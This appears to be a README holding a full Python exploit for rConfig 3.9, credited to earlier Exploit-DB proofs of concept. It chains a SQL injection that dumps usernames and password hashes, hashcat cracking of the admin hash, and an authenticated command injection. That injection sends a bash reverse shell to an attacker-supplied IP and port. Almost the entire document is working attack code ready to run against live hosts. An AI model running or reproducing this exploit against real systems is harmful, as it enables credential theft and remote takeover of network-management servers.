README.md
Rendering markdown...
#!/usr/bin/env python3
"""
rConfig 3.9 - Combined SQL Injection + Command Injection PoC with Hashcat cracking
Original PoCs:
- Matthew Aberegg & Michael Burkey (Exploit-DB 48241)
https://www.exploit-db.com/exploits/48241
- Christopher Truncer (Exploit-DB 48208)
https://www.exploit-db.com/exploits/48208
Modifications by x7331:
- Added automatic SQLi extraction of database name and users.
- Integrated hash cracking using hashcat with best64.rules.
- If hashcat fails, suggests CrackStation online cracking and prompts for manual password input.
- Optional command injection RCE triggered with cracked/admin credentials.
- Improved error handling and user prompts for ease of use.
- Supports custom hashcat wordlist path.
"""
import requests
import sys
import urllib.parse
import subprocess
import tempfile
import os
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("rconfig 3.9 - Combined SQLi + Command Injection PoC with hashcat cracking")
if len(sys.argv) not in [2, 4, 6]:
print(f"Usage:\n"
f" {sys.argv[0]} https://target\n"
f" {sys.argv[0]} https://target attacker_ip attacker_port\n"
f" {sys.argv[0]} https://target attacker_ip attacker_port hashcat_wordlist_path\n")
sys.exit(1)
target_base = sys.argv[1].rstrip('/')
attacker_ip = None
attacker_port = None
hashcat_wordlist = "/usr/share/wordlists/rockyou.txt"
if len(sys.argv) >= 4:
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]
if len(sys.argv) == 6:
hashcat_wordlist = sys.argv[4]
# Vulnerable page and params for SQLi
vuln_page = "/commands.inc.php"
vuln_params = "?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
full_url = target_base + vuln_page + vuln_params
session = requests.Session()
def extractDBinfos(session, base_url, payload):
url = base_url + payload
try:
r = session.get(url, verify=False, timeout=10)
if r.status_code != 200:
print(f"[-] Request failed with status {r.status_code}")
return None
text = r.text
# DEBUG: Uncomment the next line if extraction fails to see raw response snippet
# print(f"[DEBUG] Response snippet: {text[:500]}")
start = text.find("[PWN]")
end = text.find("[PWN]", start + 1)
if start != -1 and end != -1:
return text[start + 5:end]
else:
return None
except Exception as e:
print(f"[-] Exception during SQLi request: {e}")
return None
def crack_hash(hash_to_crack, wordlist_path):
print(f"[*] Running hashcat with wordlist {wordlist_path} ...")
with tempfile.NamedTemporaryFile(mode="w", delete=False) as hashfile:
hashfile.write(hash_to_crack + "\n")
hashfile_path = hashfile.name
hashcat_cmd = [
"hashcat",
"-m", "0", # MD5 hash mode
"-a", "0", # Straight attack
hashfile_path,
wordlist_path,
"-r", "/usr/share/hashcat/rules/best64.rule",
"--quiet",
"--outfile-format=2", # Just show plaintext
"--outfile", hashfile_path + ".out"
]
try:
proc = subprocess.run(hashcat_cmd, capture_output=True, text=True, timeout=300)
cracked = None
if os.path.isfile(hashfile_path + ".out"):
with open(hashfile_path + ".out") as f:
for line in f:
line = line.strip()
if line:
cracked = line
break
os.unlink(hashfile_path)
if os.path.isfile(hashfile_path + ".out"):
os.unlink(hashfile_path + ".out")
if cracked:
print(f"[+] Hash cracked: {cracked}")
return cracked
else:
print("[!] Hashcat did not crack the hash.")
return None
except Exception as e:
print(f"[!] Error running hashcat: {e}")
return None
def command_injection_rce(host, username, password, ip, port):
print("[*] Attempting command injection RCE with admin credentials...")
login_url = host + "/lib/crud/userprocess.php"
payload = f"|| bash -i >& /dev/tcp/{ip}/{port} 0>&1 ;"
encoded_payload = urllib.parse.quote_plus(payload)
s = requests.Session()
res = s.post(
login_url,
data={
'user': username,
'pass': password,
'sublogin': 1
},
verify=False,
allow_redirects=True,
timeout=10
)
if res.status_code != 200:
print(f"[-] Failed to login: HTTP {res.status_code}")
return False
injection_url = (f"{host}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&"
f"nodeId={encoded_payload}&catCommand=showcdpneigh*.txt&noLines=")
res = s.get(injection_url, verify=False, timeout=10)
if res.status_code == 200:
print("[+] Command injection triggered, check your listener for the reverse shell!")
return True
else:
print(f"[-] Injection request failed with status {res.status_code}")
return False
def main():
print("[*] Extracting database name via SQLi...")
db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
db_name = extractDBinfos(session, target_base + vuln_page + vuln_params, db_payload)
if not db_name:
print("[-] Failed to extract database name.")
sys.exit(1)
print(f"[+] Database name: {db_name}")
print("[*] Extracting users via SQLi...")
users = []
for i in range(0, 10):
user_payload = (f"%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"
f"{db_name}.users+limit+{i},1),NULL--")
user = extractDBinfos(session, target_base + vuln_page + vuln_params, user_payload)
if user and user != "Maybe no more information":
users.append(user)
else:
break
if not users:
print("[-] No users extracted.")
sys.exit(1)
print("[+] Users found:")
for u in users:
print(f" {u}")
# Parse for admin creds
admin_line = None
for u in users:
if u.startswith("admin:"):
admin_line = u
break
if not admin_line:
print("[!] Admin user not found, cannot proceed with RCE without creds.")
if not attacker_ip or not attacker_port:
print("[*] No attacker IP and port provided. Exiting after dumping credentials.")
sys.exit(0)
parts = admin_line.split(":")
if len(parts) < 3:
print("[!] Admin line malformed, cannot extract password hash.")
sys.exit(1)
admin_user = parts[0]
admin_hash = parts[2]
cracked_password = crack_hash(admin_hash, hashcat_wordlist)
if not cracked_password:
print("[!] Could not crack admin password hash with hashcat.")
print("[!] Try cracking it using online services like CrackStation: https://crackstation.net/")
cracked_password = input("[?] Please enter the admin password manually to continue (or leave blank to exit): ").strip()
if not cracked_password:
print("[*] No password provided. Exiting.")
sys.exit(0)
print(f"[*] Admin credentials found: username='{admin_user}' password='{cracked_password}'")
if attacker_ip and attacker_port:
if not command_injection_rce(target_base, admin_user, cracked_password, attacker_ip, attacker_port):
print("[-] Exploit failed.")
sys.exit(1)
else:
print("[+] Exploit succeeded")
else:
print("[*] No attacker IP and port provided. Exiting after dumping credentials.")
if __name__ == "__main__":
main()